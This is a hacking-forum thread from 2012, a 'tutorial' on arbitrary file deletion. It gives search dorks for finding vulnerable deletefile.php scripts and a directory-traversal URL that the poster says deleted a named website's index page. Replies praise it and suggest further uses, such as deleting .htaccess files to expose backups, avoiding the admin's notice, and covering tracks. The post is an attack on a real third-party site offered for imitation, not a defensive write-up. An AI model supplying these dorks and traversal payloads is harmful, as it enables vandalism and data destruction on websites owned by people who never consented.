+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [TUTORIAL] - Arbitrary File Deletion (/showthread.php?tid=2895305)
[TUTORIAL] - Arbitrary File Deletion - bckslsh - Sep 26, 2012
Step 1 - Find a poorly programmed website, most likely created by a 12 year old elementary-school-dropout, using dorks such as:
Code
inurl:deletefile.php
inurl:delete.php?filename=
inurl:deletefile.php?filename=
inurl:deletefile.php?file=etc.
Step 2 - I have found my website that I am going to hax like a pro.
Code
http://www.doculand.net/htdocs/fileupload/deletefile.php?filename=Step 3 - Basic directory transversal. Find the file that you want to delete, I'll use -
Code
http://www.doculand.net/services/index.htmlIt works right now.
Spoiler (Click to View)
cough http://www.doculand.net/htdocs/fileupload/deletefile.php?filename=../../services/index.html cough
And now it doesn't.
Spoiler (Click to View)
How magical.
* - Zixem - Sep 26, 2012
Cool dork, pretty violent and wicked :> but nice thinking.
* - Catzbow - Sep 26, 2012
Amazing , very nice and interesting , thanks.
* - soeasy - Sep 26, 2012
Great tutorial Dan.I haven't seen anything like this before.😁
* - Zhen. - Sep 26, 2012
Same as LFD, different function. Useful tutorial nevertheless.
Keep it up.
* - X Makube - Sep 26, 2012
Yeah really really nice tutorial...
* - Ϲasp3r - Sep 26, 2012
Then you decide to use the deletefile.php to delete the deletefile.php
* - Define© - Sep 26, 2012
This exploit is pretty pointless, I don't see how deleting files will get you anywhere.
* - Ϲasp3r - Sep 26, 2012
(Sep 26, 2012 04:12 PM)wkdlewy Wrote: This exploit is pretty pointless, I don't see how deleting files will get you anywhere.
If you set out to piss of as many site hosters as possible, then this gets you there. otherwise it not so great "IMHO"
* - No - Sep 26, 2012
(Sep 26, 2012 04:12 PM)wkdlewy Wrote: This exploit is pretty pointless, I don't see how deleting files will get you anywhere.
This exploit could have a few uses (besides laughs) such as deleting the .htaccess (and potentially the index file) file from a site so that you can see other files that will be valuable to an attack. Eg. Unencrypted backups (remember that time Blackshades got fucking raped?).
Nice thinking by the way, definitely something I have seen little of.
* - T0ucaNSaM - Aug 12, 2013
you forgot to delete your tracks :)
* - Gee4rce - Aug 12, 2013
(Sep 26, 2012 05:04 PM)No Wrote: This exploit could have a few uses (besides laughs) such as deleting the .htaccess (and potentially the index file) file from a site so that you can see other files that will be valuable to an attack.
In fact you are totally right with this, the .htaccess is a very good example! But this "way of h4x" still is only usefull for getting
straight "in and back out" again, as in reality a missing index file would quickly draw attention to the Admin... this would allow no longer-term hack. (I think thats what wkdlewy meant to say)...
But while writing this, i thought of the next possibilitie... what if the Admin doesn't see the connection between deletefile.php and his missing index.php? 😁
Greets, Gee.